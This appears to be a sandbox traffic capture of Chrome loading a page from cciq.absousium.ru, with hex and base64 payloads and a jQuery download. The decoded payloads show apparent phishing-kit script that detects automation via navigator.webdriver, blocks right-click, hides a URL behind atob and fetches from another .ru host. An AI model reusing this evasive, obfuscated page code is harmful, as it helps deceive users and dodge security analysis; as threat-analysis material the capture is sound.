370dLTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNZWlZ2VHdRVEVmICNZUml0UVB0TmN5IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvb
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 39 50 53 41 34 4e 53 6b 4e 43 69 41 67 49 43 41 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 58 5a 6c 62 6e 51 75 63 48 4a 6c 64 6d 56 75 64 45 52 6c 5a 6d 46 31 62 48 51 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 47 5a 68 62 48 4e 6c 4f 77 30 4b 49 43 41 67 49 48 30 4e 43 6e 30 70 4f 77 30 4b 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 57 52 6b 52 58 5a 6c 62 6e 52 4d 61 58 4e 30 5a 57 35 6c 63 69 67 6e 59 32 39 75 64 47 56 34 64 47 31 6c 62 6e 55 6e 4c 43 42 6d 64 57 35 6a 64 47 6c 76 62 69 68 6c 64 6d 56 75 64 43 6b 67 65 77 30 4b 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 47 5a 68 62 48 4e 6c 4f 77 Data Ascii: 9PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 64 47 6c 73 5a 53 49 67 61 57 51 39 49 6d 4e 6d 49 6a 34 38 4c 32 52 70 64 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 7a 61 57 51 69 49 47 35 68 62 57 55 39 49 6e 4e 70 5a 43 49 67 64 6d 46 73 64 57 55 39 49 6e 4e 6f 56 55 31 31 55 30 35 32 4d 47 73 31 5a 30 59 34 63 54 45 30 59 7a 52 46 4e 6d 74 33 57 6e 4e 32 53 33 64 68 4d 48 4a 4d 61 47 64 45 55 55 52 59 61 55 51 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 42 75 59 57 31 6c 50 53 4a 77 59 57 64 6c 62 47 6c 75 61 79 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c Data Ascii: dGlsZSIgaWQ9ImNmIj48L2Rpdj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJzaWQiIG5hbWU9InNpZCIgdmFsdWU9InNoVU11U052MGs1Z0Y4cTE0YzRFNmt3WnN2S3dhMHJMaGdEUURYaUQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9InBhZ2VsaW5rIiBuYW1lPSJwYWdlbGluayIgdmFsdWU9IiI+DQo8aW5wdXQgdHlwZT0iaGl
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 69 42 74 55 30 6c 6b 5a 30 52 55 57 6b 46 43 49 44 30 67 49 69 34 75 4c 33 6c 32 55 33 4e 78 56 55 64 46 55 46 59 34 62 6b 56 4a 53 57 39 36 62 47 64 4f 64 6e 70 69 59 7a 6c 56 4d 55 6f 7a 4d 6d 78 32 59 33 52 75 49 6a 73 4e 43 69 41 67 49 43 42 6d 5a 58 52 6a 61 43 67 6e 61 48 52 30 63 48 4d 36 4c 79 39 44 53 32 5a 31 59 30 4a 4f 64 56 45 30 4e 56 68 34 54 54 6c 33 64 57 6b 32 4e 45 68 4e 5a 47 46 46 61 6e 6b 77 52 55 5a 51 64 45 56 6f 53 47 55 77 56 30 6b 32 51 6c 46 6f 56 45 4e 52 52 55 52 44 51 32 35 4e 55 7a 42 6b 54 53 35 70 64 6d 56 79 64 47 39 75 5a 58 6c 74 4c 6e 4a 31 4c 7a 49 31 4d 7a 63 79 4e 44 59 34 4d 54 6b 32 4d 6a 67 31 4e 54 63 31 4e 7a 52 50 62 48 46 35 5a 56 5a 55 54 31 42 47 55 31 6c 55 52 56 70 4c 53 30 52 59 55 55 52 57 53 45 35 54 Data Ascii: iBtU0lkZ0RUWkFCID0gIi4uL3l2U3NxVUdFUFY4bkVJSW96bGdOdnpiYzlVMUozMmx2Y3RuIjsNCiAgICBmZXRjaCgnaHR0cHM6Ly9DS2Z1Y0JOdVE0NVh4TTl3dWk2NEhNZGFFankwRUZQdEVoSGUwV0k2QlFoVENRRURDQ25NUzBkTS5pdmVydG9uZXltLnJ1LzI1MzcyNDY4MTk2Mjg1NTc1NzRPbHF5ZVZUT1BGU1lURVpLS0RYUURWSE5T
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 63 72 69 70 74 3b 0d 0a 54 56 6f 4a 79 70 5a 45 73 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 54 56 6f 4a 79 70 5a 45 73 65 29 3b 0d 0a 2f 2a 20 53 75 63 63 65 73 73 20 75 73 75 61 6c 6c 79 20 63 6f 6d 65 73 20 74 6f 20 74 68 6f 73 65 20 77 68 6f 20 61 72 65 20 74 6f 6f 20 62 75 73 79 20 74 6f 20 62 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 69 74 2e 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 59 32 6c 78 4c 6d 46 69 63 32 39 31 63 32 6c 31 62 53 35 79 64 53 39 76 4e 57 49 34 52 46 68 42 4c 77 3d 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 6f 6e 4a 50 4c 4d 76 59 43 57 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e Data Ascii: cript;TVoJypZEse.parentNode.removeChild(TVoJypZEse);/* Success usually comes to those who are too busy to be looking for it. */}if(atob("aHR0cHM6Ly9jY2lxLmFic291c2l1bS5ydS9vNWI4RFhBLw==") !== "nomatch"){const onJPLMvYCW = window.location.hostn
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 64 44 30 69 62 6d 39 70 62 6d 52 6c 65 43 77 67 62 6d 39 6d 62 32 78 73 62 33 63 69 50 67 30 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 5a 70 5a 58 64 77 62 33 4a 30 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 33 61 57 52 30 61 44 31 6b 5a 58 5a 70 59 32 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 49 43 41 38 64 47 6c 30 62 47 55 2b 4a 69 4d 34 4d 6a 41 7a 4f 7a 77 76 64 47 6c 30 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 30 65 57 78 6c 50 67 30 4b 59 6d 39 6b 65 53 42 37 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 Data Ascii: hIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6IC
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 62 6e 51 36 59 32 56 75 64 47 56 79 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 57 56 70 57 64 6c 52 33 55 56 52 46 5a 69 35 74 64 43 30 31 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 33 4a 6c 62 53 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 31 6c 61 56 6e 5a 55 64 31 46 55 52 57 59 67 4c 6d 31 30 4c 54 51 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 46 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 5a 57 6c 5a 32 56 48 64 52 56 45 56 6d 49 43 4e 5a 55 6d 6c 30 55 56 42 30 54 6d 4e 35 49 48 74 6a 62 32 78 76 63 6a 6f 67 49 7a 5a 6a 4e 7a 55 33 5a 44 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 4d 54 52 77 65 44 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 75 4e 58 4a 6c 62 54 74 Data Ascii: bnQ6Y2VudGVyIWltcG9ydGFudDt9DQojWVpWdlR3UVRFZi5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI1laVnZUd1FURWYgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNZWlZ2VHdRVEVmICNZUml0UVB0TmN5IHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49721	151.101.130.137	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:34 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:34 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1877840 Date: Thu, 09 Jan 2025 03:28:34 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740043-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736393314.189016,VS0,VE1 Vary: Accept-Encoding
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-09 03:28:34 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:34 UTC	649	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:34 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 09 Jan 2025 03:28:34 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/849bfe45bf45/api.js Server: cloudflare CF-RAY: 8ff15685adb67290-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49722	104.17.25.14	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
